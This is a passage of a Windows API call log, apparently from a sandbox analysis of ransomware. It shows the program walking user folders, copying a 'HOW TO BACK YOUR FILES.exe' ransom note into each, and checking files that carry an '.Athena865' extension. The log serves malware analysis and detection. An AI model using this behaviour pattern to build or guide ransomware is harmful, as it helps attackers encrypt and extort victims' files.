nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.747] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.747] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.747] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.747] ReleaseMutex (hMutex=0xec) returned 1 [0103.747] CloseHandle (hObject=0xec) returned 1 [0103.747] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\Default User\\Documents\\My Pictures") returned="C:\\Documents and Settings\\Default User\\Documents\\My Pictures" [0103.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0103.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd38 | out: hHeap=0x4f0000) returned 1 [0103.747] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Documents\\My Pictures") returned 60 [0103.747] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\29A775C7802437B51D93011203788042") returned 0xec [0103.747] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.747] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\Default User\\Documents\\My Pictures") returned="C:\\Documents and Settings\\Default User\\Documents\\My Pictures" [0103.747] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.747] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.748] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\my pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.748] GetLastError () returned 0x0 [0103.748] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.748] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.748] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Documents\\My Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b3d9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b3d9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.748] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.748] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.749] lstrcpyW (in: lpString1=0x241e8c2, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.749] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.749] lstrlenW (lpString="Athena865") returned 9 [0103.749] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.749] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.749] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.749] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.749] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.749] ReleaseMutex (hMutex=0xec) returned 1 [0103.749] CloseHandle (hObject=0xec) returned 1 [0103.749] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\Default User\\Documents\\My Videos") returned="C:\\Documents and Settings\\Default User\\Documents\\My Videos" [0103.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502728 | out: hHeap=0x4f0000) returned 1 [0103.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd20 | out: hHeap=0x4f0000) returned 1 [0103.749] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Documents\\My Videos") returned 58 [0103.749] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7C87B6B6C518E6FD1204963125DCE153") returned 0xec [0103.749] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.749] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\Default User\\Documents\\My Videos") returned="C:\\Documents and Settings\\Default User\\Documents\\My Videos" [0103.749] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.749] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.750] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\my videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.750] GetLastError () returned 0x0 [0103.750] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.750] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.750] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Documents\\My Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d78e60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d78e60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.750] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.750] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.750] lstrcpyW (in: lpString1=0x241e8be, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.750] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.750] lstrlenW (lpString="Athena865") returned 9 [0103.751] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.751] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.751] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.751] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.751] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.751] ReleaseMutex (hMutex=0xec) returned 1 [0103.751] CloseHandle (hObject=0xec) returned 1 [0103.751] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Favorites\\Links" | out: lpString1="C:\\Documents and Settings\\Default User\\Favorites\\Links") returned="C:\\Documents and Settings\\Default User\\Favorites\\Links" [0103.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cfd0 | out: hHeap=0x4f0000) returned 1 [0103.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x4f0000) returned 1 [0103.751] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Favorites\\Links") returned 54 [0103.751] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F06F09C2EA6A0A521181D937888923D2") returned 0xec [0103.751] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.751] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Favorites\\Links" | out: lpString1="C:\\Documents and Settings\\Default User\\Favorites\\Links") returned="C:\\Documents and Settings\\Default User\\Favorites\\Links" [0103.751] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.751] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.752] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\links\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.752] GetLastError () returned 0x0 [0103.752] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.753] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.753] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Favorites\\Links\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe5183420, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5183420, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.753] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.753] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.753] lstrcpyW (in: lpString1=0x241e8b6, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.753] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.753] lstrlenW (lpString="Athena865") returned 9 [0103.753] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.753] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7974940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.753] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.753] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe51a9580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url.Athena865", cAlternateFileName="WEBSLI~1.ATH")) returned 1 [0103.753] lstrcmpiW (lpString1="Web Slice Gallery.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.753] lstrcmpiW (lpString1="Web Slice Gallery.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.753] lstrcpyW (in: lpString1=0x241e8b6, lpString2="Web Slice Gallery.url.Athena865" | out: lpString1="Web Slice Gallery.url.Athena865") returned="Web Slice Gallery.url.Athena865" [0103.753] lstrlenW (lpString="Web Slice Gallery.url.Athena865") returned 31 [0103.753] lstrlenW (lpString="Athena865") returned 9 [0103.753] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.753] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe51a9580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url.Athena865", cAlternateFileName="WEBSLI~1.ATH")) returned 0 [0103.754] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.754] ReleaseMutex (hMutex=0xec) returned 1 [0103.754] CloseHandle (hObject=0xec) returned 1 [0103.754] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites" | out: lpString1="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites") returned="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites" [0103.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0103.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd68 | out: hHeap=0x4f0000) returned 1 [0103.754] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites") returned 67 [0103.754] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\BCE83B928E7A4E60942B5230F0F7F935") returned 0xec [0103.754] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.754] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites" | out: lpString1="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites") returned="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites" [0103.754] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.754] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.755] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\microsoft websites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.755] GetLastError () returned 0x0 [0103.755] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.755] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.756] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe521b9a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe521b9a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.756] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.756] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.756] lstrcpyW (in: lpString1=0x241e8d0, lpString2="IE Add-on site.url.Athena865" | out: lpString1="IE Add-on site.url.Athena865") returned="IE Add-on site.url.Athena865" [0103.756] lstrlenW (lpString="IE Add-on site.url.Athena865") returned 28 [0103.756] lstrlenW (lpString="Athena865") returned 9 [0103.756] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.756] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe51f5840, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url.Athena865", cAlternateFileName="IESITE~1.ATH")) returned 1 [0103.756] lstrcmpiW (lpString1="IE site on Microsoft.com.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.756] lstrcmpiW (lpString1="IE site on Microsoft.com.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.756] lstrcpyW (in: lpString1=0x241e8d0, lpString2="IE site on Microsoft.com.url.Athena865" | out: lpString1="IE site on Microsoft.com.url.Athena865") returned="IE site on Microsoft.com.url.Athena865" [0103.756] lstrlenW (lpString="IE site on Microsoft.com.url.Athena865") returned 38 [0103.756] lstrlenW (lpString="Athena865") returned 9 [0103.756] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.756] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe51f5840, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url.Athena865", cAlternateFileName="MICROS~1.ATH")) returned 1 [0103.756] lstrcmpiW (lpString1="Microsoft At Home.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.756] lstrcmpiW (lpString1="Microsoft At Home.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.756] lstrcpyW (in: lpString1=0x241e8d0, lpString2="Microsoft At Home.url.Athena865" | out: lpString1="Microsoft At Home.url.Athena865") returned="Microsoft At Home.url.Athena865" [0103.756] lstrlenW (lpString="Microsoft At Home.url.Athena865") returned 31 [0103.756] lstrlenW (lpString="Athena865") returned 9 [0103.756] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.756] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe521b9a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url.Athena865", cAlternateFileName="MICROS~2.ATH")) returned 1 [0103.756] lstrcmpiW (lpString1="Microsoft At Work.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.756] lstrcmpiW (lpString1="Microsoft At Work.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.756] lstrcpyW (in: lpString1=0x241e8d0, lpString2="Microsoft At Work.url.Athena865" | out: lpString1="Microsoft At Work.url.Athena865") returned="Microsoft At Work.url.Athena865" [0103.757] lstrlenW (lpString="Microsoft At Work.url.Athena865") returned 31 [0103.757] lstrlenW (lpString="Athena865") returned 9 [0103.757] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.757] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe521b9a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url.Athena865", cAlternateFileName="MICROS~3.ATH")) returned 1 [0103.757] lstrcmpiW (lpString1="Microsoft Store.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.757] lstrcmpiW (lpString1="Microsoft Store.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.757] lstrcpyW (in: lpString1=0x241e8d0, lpString2="Microsoft Store.url.Athena865" | out: lpString1="Microsoft Store.url.Athena865") returned="Microsoft Store.url.Athena865" [0103.757] lstrlenW (lpString="Microsoft Store.url.Athena865") returned 29 [0103.757] lstrlenW (lpString="Athena865") returned 9 [0103.757] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.757] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe521b9a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url.Athena865", cAlternateFileName="MICROS~3.ATH")) returned 0 [0103.757] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.757] ReleaseMutex (hMutex=0xec) returned 1 [0103.757] CloseHandle (hObject=0xec) returned 1 [0103.757] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Favorites\\MSN Websites" | out: lpString1="C:\\Documents and Settings\\Default User\\Favorites\\MSN Websites") returned="C:\\Documents and Settings\\Default User\\Favorites\\MSN Websites" [0103.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519aa8 | out: hHeap=0x4f0000) returned 1 [0103.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd08 | out: hHeap=0x4f0000) returned 1 [0103.757] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Favorites\\MSN Websites") returned 61 [0103.757] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10A1A0A72F09C20DFC09B9535668E73B") returned 0xec [0103.757] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.757] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Favorites\\MSN Websites" | out: lpString1="C:\\Documents and Settings\\Default User\\Favorites\\MSN Websites") returned="C:\\Documents and Settings\\Default User\\Favorites\\MSN Websites" [0103.757] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.757] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and 